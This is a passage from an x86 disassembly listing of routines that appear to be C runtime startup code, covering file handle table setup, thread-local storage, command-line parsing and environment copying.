[ebx+0Ch] loc_408E1F: ; CODE XREF: sub_408D60+BAj test word ptr [ebx], 4000h jz short loc_408E2B mov [ebx+18h], esi jmp short loc_408E2E ; --------------------------------------------------------------------------- loc_408E2B: ; CODE XREF: sub_408D60+C4j mov [ebx+30h], esi loc_408E2E: ; CODE XREF: sub_408D60+C9j xor eax, eax loc_408E30: ; CODE XREF: sub_408D60+5Cj ; sub_408D60+67j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E40 proc near ; CODE XREF: sub_408EE0+41p ; sub_40B9A0+328p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx push esi mov ebx, [ebp+arg_0] push ebx call sub_40AC20 pop ecx cmp eax, 0FFFFFFFFh jz short loc_408E8F cmp ebx, 1 jz short loc_408E63 cmp ebx, 2 jnz short loc_408E7D loc_408E63: ; CODE XREF: sub_408E40+1Cj push 1 call sub_40AC20 pop ecx mov [ebp+var_4], eax push 2 call sub_40AC20 pop ecx mov edx, [ebp+var_4] cmp edx, eax jz short loc_408E8F loc_408E7D: ; CODE XREF: sub_408E40+21j push ebx call sub_40AC20 pop ecx push eax call dword_411CF8 test eax, eax jz short loc_408E93 loc_408E8F: ; CODE XREF: sub_408E40+17j ; sub_408E40+3Bj xor esi, esi jmp short loc_408E9B ; --------------------------------------------------------------------------- loc_408E93: ; CODE XREF: sub_408E40+4Dj call dword_411CE8 mov esi, eax loc_408E9B: ; CODE XREF: sub_408E40+51j push ebx call sub_40AAD0 pop ecx mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+4], 0 test esi, esi jz short loc_408ECB push esi call sub_408300 pop ecx or eax, 0FFFFFFFFh jmp short loc_408ECD ; --------------------------------------------------------------------------- loc_408ECB: ; CODE XREF: sub_408E40+7Dj xor eax, eax loc_408ECD: ; CODE XREF: sub_408E40+89j pop esi pop ebx mov esp, ebp pop ebp retn sub_408E40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408EE0 proc near ; CODE XREF: sub_407540+30p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_408F09 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_408F19 loc_408F09: ; CODE XREF: sub_408EE0+Cj call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_408F32 ; --------------------------------------------------------------------------- loc_408F19: ; CODE XREF: sub_408EE0+27j push ebx call sub_40AD40 pop ecx push ebx call sub_408E40 pop ecx mov esi, eax push ebx call sub_40ADA0 pop ecx mov eax, esi loc_408F32: ; CODE XREF: sub_408EE0+37j pop esi pop ebx retn sub_408EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408F40 proc near ; CODE XREF: sub_407780+39p ; sub_4088A0+102p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, al jmp short loc_408F55 ; --------------------------------------------------------------------------- loc_408F4C: ; CODE XREF: sub_408F40+17j cmp byte ptr [ecx], 0 jnz short loc_408F54 xor eax, eax retn ; --------------------------------------------------------------------------- loc_408F54: ; CODE XREF: sub_408F40+Fj inc ecx loc_408F55: ; CODE XREF: sub_408F40+Aj cmp [ecx], dl jnz short loc_408F4C mov eax, ecx retn sub_408F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F60 proc near ; CODE XREF: sub_407820+3Dp ; sub_40CEC0+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+18h] cmp eax, [ebx+10h] jbe short loc_408F79 xor eax, eax jmp loc_409052 ; --------------------------------------------------------------------------- loc_408F79: ; CODE XREF: sub_408F60+10j movzx eax, word ptr [ebx] and eax, 9002h cmp eax, 2 jz short loc_408FB5 movzx eax, word ptr [ebx] mov [ebp+var_4], eax test eax, 8000h setnz al and eax, 1 dec eax and eax, 4000h add eax, 200h mov edx, [ebp+var_4] or edx, eax mov ax, dx mov [ebx], ax or eax, 0FFFFFFFFh jmp loc_409052 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_408F60+24j movzx eax, word ptr [ebx] and eax, 6000h cmp eax, 6000h jnz short loc_408FDC mov eax, [ebx+0Ch] cmp eax, [ebx+10h] ja short loc_408FDC push ebx call sub_408D60 pop ecx test eax, eax jz short loc_408FDC or eax, 0FFFFFFFFh jmp short loc_409052 ; --------------------------------------------------------------------------- loc_408FDC: ; CODE XREF: sub_408F60+62j ; sub_408F60+6Aj ... test word ptr [ebx], 0C00h jnz short loc_408FEB lea eax, [ebx+48h] cmp eax, [ebx+8] jz short loc_408FED loc_408FEB: ; CODE XREF: sub_408F60+81j jmp short loc_40903F ; --------------------------------------------------------------------------- loc_408FED: ; CODE XREF: sub_408F60+89j push 200h call sub_408260 pop ecx mov [ebx+8], eax test eax, eax jnz short loc_409019 lea eax, [ebx+48h] mov [ebx+8], eax mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] inc eax mov [ebx+0Ch], eax call sub_4074C0 jmp short loc_40903F ; --------------------------------------------------------------------------- loc_409019: ; CODE XREF: sub_408F60+9Dj or word ptr [ebx], 40h mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] add eax, 200h mov [ebx+0Ch], eax mov eax, [ebx+8] mov [ebx+2Ch], eax mov eax, [ebx+8] mov [ebx+30h], eax call sub_4074C0 loc_40903F: ; CODE XREF: sub_408F60:loc_408FEBj ; sub_408F60+B7j mov eax, [ebx+8] mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax or word ptr [ebx], 6000h xor eax, eax loc_409052: ; CODE XREF: sub_408F60+14j ; sub_408F60+50j ... pop ebx mov esp, ebp pop ebp retn sub_408F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409060 proc near ; CODE XREF: sub_407820+59p ; sub_409CF0+696p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] mov bl, al mov edx, [esp+4+arg_0] jmp short loc_40907B ; --------------------------------------------------------------------------- loc_409071: ; CODE XREF: sub_409060+1Dj cmp [edx], bl jnz short loc_409079 mov eax, edx jmp short loc_409081 ; --------------------------------------------------------------------------- loc_409079: ; CODE XREF: sub_409060+13j inc edx dec ecx loc_40907B: ; CODE XREF: sub_409060+Fj test ecx, ecx jnz short loc_409071 xor eax, eax loc_409081: ; CODE XREF: sub_409060+17j pop ebx retn sub_409060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409090 proc near ; CODE XREF: sub_407B60:loc_407BA7p push ebx call sub_408760 call dword_411DD4 mov dword_411770, eax cmp eax, 0FFFFFFFFh jnz short loc_4090AC xor eax, eax jmp short loc_4090E7 ; --------------------------------------------------------------------------- loc_4090AC: ; CODE XREF: sub_409090+16j push 48h call sub_408260 pop ecx mov ebx, eax test eax, eax jz short loc_4090CB push ebx mov eax, dword_411770 push eax call dword_411D98 test eax, eax jnz short loc_4090CF loc_4090CB: ; CODE XREF: sub_409090+28j xor eax, eax jmp short loc_4090E7 ; --------------------------------------------------------------------------- loc_4090CF: ; CODE XREF: sub_409090+39j push ebx call sub_409120 pop ecx call dword_411DD8 mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh mov eax, 1 loc_4090E7: ; CODE XREF: sub_409090+1Aj ; sub_409090+3Dj pop ebx retn sub_409090 endp ; --------------------------------------------------------------------------- align 10h call sub_4087A0 cmp dword_411770, 0FFFFFFFFh jz short locret_409114 mov eax, dword_411770 push eax call dword_411DDC or dword_411770, 0FFFFFFFFh locret_409114: ; CODE XREF: DMN0:004090FFj retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409120 proc near ; CODE XREF: sub_4079D0+17p ; sub_409090+40p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov edx, ebx mov ecx, 48h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx mov dword ptr [ebx+34h], offset dword_4117E4 mov dword ptr [ebx+10h], 1 pop ebx retn sub_409120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409150 proc near ; CODE XREF: sub_407A60+1p sub_408460p ... push ebx push esi call dword_411CE8 mov esi, eax mov eax, dword_411770 push eax call dword_411DE0 mov ebx, eax test eax, eax jnz short loc_4091A8 push 48h call sub_408260 pop ecx mov ebx, eax test eax, eax jz short loc_4091A0 push ebx mov eax, dword_411770 push eax call dword_411D98 test eax, eax jz short loc_4091A0 push ebx call sub_409120 pop ecx call dword_411DD8 mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_4091A8 ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_409150+28j ; sub_409150+39j push 1 call sub_409250 pop ecx loc_4091A8: ; CODE XREF: sub_409150+1Aj ; sub_409150+4Ej push esi call dword_411D14 mov eax, ebx pop esi pop ebx retn sub_409150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4091C0 proc near ; CODE XREF: sub_407A60+28p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp dword_411770, 0FFFFFFFFh jz short loc_40924C test ebx, ebx jnz short loc_4091E3 mov eax, dword_411770 push eax call dword_411DE0 mov ebx, eax loc_4091E3: ; CODE XREF: sub_4091C0+13j test ebx, ebx jz short loc_40923E mov eax, [ebx+20h] push eax call sub_4071B0 pop ecx mov eax, [ebx+24h] push eax call sub_4071B0 pop ecx mov eax, [ebx+28h] push eax call sub_4071B0 pop ecx mov eax, [ebx+2Ch] push eax call sub_4071B0 pop ecx mov eax, [ebx+30h] push eax call sub_4071B0 pop ecx mov eax, [ebx+34h] cmp eax, offset dword_4117E4 jz short loc_40922D mov eax, [ebx+34h] push eax call sub_4071B0 pop ecx loc_40922D: ; CODE XREF: sub_4091C0+61j mov eax, [ebx+3Ch] push eax call sub_4071B0 pop ecx push ebx call sub_4071B0 pop ecx loc_40923E: ; CODE XREF: sub_4091C0+25j push 0 mov eax, dword_411770 push eax call dword_411D98 loc_40924C: ; CODE XREF: sub_4091C0+Fj pop ebx retn sub_4091C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409250 proc near ; CODE XREF: sub_407930+3Cp ; sub_407930+7Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D30 retn sub_409250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409260 proc near ; CODE XREF: sub_407930+6Ap ; sub_407B60+F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, offset dword_411774 jmp short loc_4092B2 ; --------------------------------------------------------------------------- loc_40926E: ; CODE XREF: sub_409260+58j cmp [esi], ebx jnz short loc_4092AF push 1 mov eax, [esi+4] push eax call sub_40AE10 add esp, 8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40928E test edi, edi jnz short loc_409290 loc_40928E: ; CODE XREF: sub_409260+28j jmp short loc_4092BA ; --------------------------------------------------------------------------- loc_409290: ; CODE XREF: sub_409260+2Cj cmp edi, 1 jz short loc_4092AA push 0 mov eax, [esi+4] push eax call sub_40AE10 add esp, 8 mov eax, [esi+4] push eax call edi pop ecx loc_4092AA: ; CODE XREF: sub_409260+33j or eax, 0FFFFFFFFh jmp short loc_4092C5 ; --------------------------------------------------------------------------- loc_4092AF: ; CODE XREF: sub_409260+10j add esi, 8 loc_4092B2: ; CODE XREF: sub_409260+Cj cmp esi, offset dword_4117C4 jb short loc_40926E loc_4092BA: ; CODE XREF: sub_409260:loc_40928Ej mov eax, [esp+0Ch+arg_4] push eax call dword_411DE4 loc_4092C5: ; CODE XREF: sub_409260+4Dj pop edi pop esi pop ebx retn sub_409260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4092D0 proc near ; CODE XREF: sub_407B50+5p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D18 test eax, eax jnz short loc_4092F0 call dword_411CE8 push eax call sub_408300 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4092F0: ; CODE XREF: sub_4092D0+Dj xor eax, eax retn sub_4092D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409300 proc near ; CODE XREF: sub_407B60+5Fp push offset dword_412854 call dword_411DE8 retn sub_409300 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx lea eax, [ebp-8] push eax call dword_411DE8 mov eax, [ebp-8] mov edx, [ebp-4] mov ecx, dword_412854 mov ebx, dword_412858 sub eax, ecx sbb edx, ebx mov [ebp-8], eax mov [ebp-4], edx mov eax, [ebp-8] mov edx, [ebp-4] push edx push eax push 0 push 2710h call sub_40AF00 pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409360 proc near ; CODE XREF: sub_407B60+64p var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_26 = word ptr -26h var_24 = dword ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi push 480h call sub_408260 pop ecx mov ebx, eax test eax, eax jnz short loc_409382 push 1 call sub_409250 pop ecx loc_409382: ; CODE XREF: sub_409360+18j mov dword_413988, ebx mov dword_413A88, 20h jmp short loc_4093AC ; --------------------------------------------------------------------------- loc_409394: ; CODE XREF: sub_409360+58j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_4093AC: ; CODE XREF: sub_409360+32j mov eax, dword_413988 add eax, 480h cmp ebx, eax jb short loc_409394 lea eax, [ebp+var_58] push eax call dword_411DA8 cmp [ebp+var_26], 0 jz loc_4094D2 cmp [ebp+var_24], 0 jz loc_4094D2 mov eax, [ebp+var_24] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_24] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] mov edx, [ebp+var_4] add edx, eax mov [ebp+var_8], edx cmp eax, 800h jle short loc_409403 mov [ebp+var_10], 800h loc_409403: ; CODE XREF: sub_409360+9Aj mov esi, 1 jmp short loc_40945E ; --------------------------------------------------------------------------- loc_40940A: ; CODE XREF: sub_409360+107j push 480h call sub_408260 pop ecx mov ebx, eax test eax, eax jnz short loc_409425 mov eax, dword_413A88 mov [ebp+var_10], eax jmp short loc_409469 ; --------------------------------------------------------------------------- loc_409425: ; CODE XREF: sub_409360+B9j mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_40944D ; --------------------------------------------------------------------------- loc_409435: ; CODE XREF: sub_409360+FBj mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40944D: ; CODE XREF: sub_409360+D3j mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_409435 inc esi loc_40945E: ; CODE XREF: sub_409360+A8j mov eax, [ebp+var_10] cmp dword_413A88, eax jl short loc_40940A loc_409469: ; CODE XREF: sub_409360+C3j xor edi, edi jmp short loc_4094CD ; --------------------------------------------------------------------------- loc_40946D: ; CODE XREF: sub_409360+170j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_4094C0 mov edx, [ebp+var_4] movzx edx, byte ptr [edx] test edx, 1 jz short loc_4094C0 test edx, 8 jnz short loc_40949A push eax call dword_411DEC test eax, eax jz short loc_4094C0 loc_40949A: ; CODE XREF: sub_409360+12Dj mov eax, edi and eax, 1Fh imul eax, 24h mov edx, edi sar edx, 5 mov edx, dword_413988[edx*4] lea ebx, [edx+eax] mov eax, [ebp+var_8] mov eax, [eax] mov [ebx], eax mov eax, [ebp+var_4] mov al, [eax] mov [ebx+4], al loc_4094C0: ; CODE XREF: sub_409360+117j ; sub_409360+125j ... inc edi inc [ebp+var_4] mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_4094CD: ; CODE XREF: sub_409360+10Bj cmp edi, [ebp+var_10] jl short loc_40946D loc_4094D2: ; CODE XREF: sub_409360+69j ; sub_409360+73j xor edi, edi loc_4094D4: ; CODE XREF: sub_409360+23Ej imul eax, edi, 24h mov edx, dword_413988 lea ebx, [edx+eax] cmp dword ptr [ebx], 0FFFFFFFFh jnz loc_409596 mov byte ptr [ebx+4], 81h test edi, edi jnz short loc_4094FD mov [ebp+var_5C], 0FFFFFFF6h jmp short loc_40950E ; --------------------------------------------------------------------------- loc_4094FD: ; CODE XREF: sub_409360+192j cmp edi, 1 setz al and eax, 1 add eax, 0FFFFFFF4h mov [ebp+var_5C], eax loc_40950E: ; CODE XREF: sub_409360+19Bj mov eax, [ebp+var_5C] push eax call dword_411CD4 mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_409590 mov eax, [ebp+var_C] push eax call dword_411DEC mov [ebp+var_14], eax test eax, eax jz short loc_409590 call dword_411D64 mov [ebp+var_64], eax call dword_411D64 push 2 push 1 push 0 lea edx, [ebp+var_60] push edx push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_64] push eax call dword_411DF0 test eax, eax jz short loc_409565 mov eax, [ebp+var_60] mov [ebp+var_C], eax loc_409565: ; CODE XREF: sub_409360+1FDj mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 2 jnz short loc_40957D or byte ptr [ebx+4], 40h jmp short loc_40959A ; --------------------------------------------------------------------------- loc_40957D: ; CODE XREF: sub_409360+215j mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 3 jnz short loc_40959A or byte ptr [ebx+4], 8 jmp short loc_40959A ; --------------------------------------------------------------------------- loc_409590: ; CODE XREF: sub_409360+1C0j ; sub_409360+1D1j or byte ptr [ebx+4], 40h jmp short loc_40959A ; --------------------------------------------------------------------------- loc_409596: ; CODE XREF: sub_409360+186j or byte ptr [ebx+4], 80h loc_40959A: ; CODE XREF: sub_409360+21Bj ; sub_409360+228j ... inc edi cmp edi, 3 jl loc_4094D4 mov eax, dword_413A88 push eax call dword_411DF4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409360 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi xor ebx, ebx loc_4095C4: ; CODE XREF: DMN0:00409617j cmp dword_413988[ebx*4], 0 jz short loc_409613 mov esi, dword_413988[ebx*4] jmp short loc_4095EA ; --------------------------------------------------------------------------- loc_4095D7: ; CODE XREF: DMN0:004095F8j cmp dword ptr [esi+8], 0 jz short loc_4095E7 lea eax, [esi+0Ch] push eax call dword_411DCC loc_4095E7: ; CODE XREF: DMN0:004095DBj add esi, 24h loc_4095EA: ; CODE XREF: DMN0:004095D5j mov eax, dword_413988[ebx*4] add eax, 480h cmp esi, eax jb short loc_4095D7 mov eax, dword_413988[ebx*4] push eax call sub_4071B0 pop ecx mov dword_413988[ebx*4], 0 loc_409613: ; CODE XREF: DMN0:004095CCj inc ebx cmp ebx, 40h jl short loc_4095C4 pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409620 proc near ; CODE XREF: sub_4097D0+3Fp ; sub_4097D0+76p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov ecx, [ebp+arg_8] mov edx, [ebp+arg_10] mov dword ptr [edx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 1 mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0 jz short loc_409651 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_409651: ; CODE XREF: sub_409620+24j cmp byte ptr [ebx], 22h jnz short loc_40968C jmp short loc_409668 ; --------------------------------------------------------------------------- loc_409658: ; CODE XREF: sub_409620+53j test ecx, ecx jz short loc_409663 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_409663: ; CODE XREF: sub_409620+3Aj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_409668: ; CODE XREF: sub_409620+36j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_409675 cmp byte ptr [ebx], 0 jnz short loc_409658 loc_409675: ; CODE XREF: sub_409620+4Ej test ecx, ecx jz short loc_40967F mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_40967F: ; CODE XREF: sub_409620+57j mov eax, [ebp+arg_10] inc dword ptr [eax] cmp byte ptr [ebx], 22h jnz short loc_4096C4 inc ebx jmp short loc_4096C4 ; --------------------------------------------------------------------------- loc_40968C: ; CODE XREF: sub_409620+34j ; sub_409620+91j test ecx, ecx jz short loc_409697 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_409697: ; CODE XREF: sub_409620+6Ej mov eax, [ebp+arg_10] inc dword ptr [eax] mov eax, ebx inc ebx mov al, [eax] mov [ebp+var_9], al mov al, [ebp+var_9] cmp al, 20h jz short loc_4096B3 test al, al jz short loc_4096B3 cmp al, 9 jnz short loc_40968C loc_4096B3: ; CODE XREF: sub_409620+89j ; sub_409620+8Dj cmp [ebp+var_9], 0 jnz short loc_4096BC dec ebx jmp short loc_4096C4 ; --------------------------------------------------------------------------- loc_4096BC: ; CODE XREF: sub_409620+97j test ecx, ecx jz short loc_4096C4 mov byte ptr [ecx-1], 0 loc_4096C4: ; CODE XREF: sub_409620+67j ; sub_409620+6Aj ... mov [ebp+var_8], 0 loc_4096CB: ; CODE XREF: sub_409620+181j cmp byte ptr [ebx], 0 jz short loc_4096DD jmp short loc_4096D3 ; --------------------------------------------------------------------------- loc_4096D2: ; CODE XREF: sub_409620+B7j ; sub_409620+BBj inc ebx loc_4096D3: ; CODE XREF: sub_409620+B0j mov al, [ebx] cmp al, 20h jz short loc_4096D2 cmp al, 9 jz short loc_4096D2 loc_4096DD: ; CODE XREF: sub_409620+AEj cmp byte ptr [ebx], 0 jz loc_4097A6 cmp [ebp+arg_4], 0 jz short loc_4096F7 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_4096F7: ; CODE XREF: sub_409620+CAj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_4096FC: ; CODE XREF: sub_409620+16Dj mov [ebp+var_4], 1 xor edi, edi jmp short loc_409709 ; --------------------------------------------------------------------------- loc_409707: ; CODE XREF: sub_409620+ECj inc ebx inc edi loc_409709: ; CODE XREF: sub_409620+E5j cmp byte ptr [ebx], 5Ch jz short loc_409707 cmp byte ptr [ebx], 22h jnz short loc_409759 test edi, 1 jnz short loc_409746 cmp [ebp+var_8], 0 jz short loc_409733 cmp byte ptr [ebx+1], 22h jnz short loc_40972A inc ebx jmp short loc_40973A ; --------------------------------------------------------------------------- loc_40972A: ; CODE XREF: sub_409620+105j mov [ebp+var_4], 0 jmp short loc_40973A ; --------------------------------------------------------------------------- loc_409733: ; CODE XREF: sub_409620+FFj mov [ebp+var_4], 0 loc_40973A: ; CODE XREF: sub_409620+108j ; sub_409620+111j xor eax, eax cmp [ebp+var_8], 0 setz al mov [ebp+var_8], eax loc_409746: ; CODE XREF: sub_409620+F9j shr edi, 1 jmp short loc_409759 ; --------------------------------------------------------------------------- loc_40974A: ; CODE XREF: sub_409620+13Ej test ecx, ecx jz short loc_409754 mov eax, ecx inc ecx mov byte ptr [eax], 5Ch loc_409754: ; CODE XREF: sub_409620+12Cj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_409759: ; CODE XREF: sub_409620+F1j ; sub_409620+128j mov eax, edi dec edi test eax, eax jnz short loc_40974A mov al, [ebx] test al, al jz short loc_409774 cmp [ebp+var_8], 0 jnz short loc_409776 cmp al, 20h jz short loc_409774 cmp al, 9 jnz short loc_409776 loc_409774: ; CODE XREF: sub_409620+144j ; sub_409620+14Ej jmp short loc_409792 ; --------------------------------------------------------------------------- loc_409776: ; CODE XREF: sub_409620+14Aj ; sub_409620+152j cmp [ebp+var_4], 0 jz short loc_40978C test ecx, ecx jz short loc_409787 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_409787: ; CODE XREF: sub_409620+15Ej mov eax, [ebp+arg_10] inc dword ptr [eax] loc_40978C: ; CODE XREF: sub_409620+15Aj inc ebx jmp loc_4096FC ; --------------------------------------------------------------------------- loc_409792: ; CODE XREF: sub_409620:loc_409774j test ecx, ecx jz short loc_40979C mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_40979C: ; CODE XREF: sub_409620+174j mov eax, [ebp+arg_10] inc dword ptr [eax] jmp loc_4096CB ; --------------------------------------------------------------------------- loc_4097A6: ; CODE XREF: sub_409620+C0j cmp [ebp+arg_4], 0 jz short loc_4097BB mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov dword ptr [eax], 0 loc_4097BB: ; CODE XREF: sub_409620+18Aj mov eax, [ebp+arg_C] inc dword ptr [eax] pop edi pop ebx mov esp, ebp pop ebp retn sub_409620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097D0 proc near ; CODE XREF: sub_407B60+69p var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi call dword_411D90 mov esi, eax cmp byte ptr [esi], 0 jnz short loc_409802 push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_411CDC lea esi, [ebp+var_10C] loc_409802: ; CODE XREF: sub_4097D0+16j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0 push esi call sub_409620 add esp, 14h mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [edx+eax*4] push eax call sub_408260 pop ecx mov ebx, eax test ebx, ebx jnz short loc_409835 push 1 call sub_409250 pop ecx loc_409835: ; CODE XREF: sub_4097D0+5Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebx+eax*4] push eax push ebx push esi call sub_409620 add esp, 14h mov eax, [ebp+var_4] dec eax mov dword_4117C4, eax mov dword_4117C8, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_4097D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409870 proc near ; CODE XREF: sub_407B60+6Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call dword_411DF8 mov [ebp+var_8], eax test eax, eax jnz short loc_40988E mov eax, off_411894 mov [ebp+var_8], eax loc_40988E: ; CODE XREF: sub_409870+14j mov [ebp+var_4], 0 mov ebx, [ebp+var_8] jmp short loc_4098B3 ; --------------------------------------------------------------------------- loc_40989A: ; CODE XREF: sub_409870+46j mov edx, ebx or eax, 0FFFFFFFFh loc_40989F: ; CODE XREF: sub_409870+34j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40989F lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_4098B1 add [ebp+var_4], esi loc_4098B1: ; CODE XREF: sub_409870+3Cj add ebx, esi loc_4098B3: ; CODE XREF: sub_409870+28j cmp byte ptr [ebx], 0 jnz short loc_40989A mov eax, [ebp+var_4] inc eax push eax call sub_408260 pop ecx mov edi, eax mov dword_4117D0, eax cmp dword_4117D0, 0 jnz short loc_4098DB push 1 call sub_409250 pop ecx loc_4098DB: ; CODE XREF: sub_409870+61j mov ebx, [ebp+var_8] jmp short loc_40990A ; --------------------------------------------------------------------------- loc_4098E0: ; CODE XREF: sub_409870+9Dj mov edx, ebx or eax, 0FFFFFFFFh loc_4098E5: ; CODE XREF: sub_409870+7Aj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_4098E5 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_409908 mov ecx, edi mov edx, ebx push ecx sub ecx, edx loc_4098FB: ; CODE XREF: sub_409870+93j mov al, [edx] mov [ecx+edx], al inc edx test al, al jnz short loc_4098FB pop eax add edi, esi loc_409908: ; CODE XREF: sub_409870+82j add ebx, esi loc_40990A: ; CODE XREF: sub_409870+6Ej cmp byte ptr [ebx], 0 jnz short loc_4098E0 mov byte ptr [edi], 0 mov eax, off_411894 cmp eax, [ebp+var_8] jz short loc_409926 mov eax, [ebp+var_8] push eax call dword_411DFC loc_409926: ; CODE XREF: sub_409870+AAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409870 endp ; 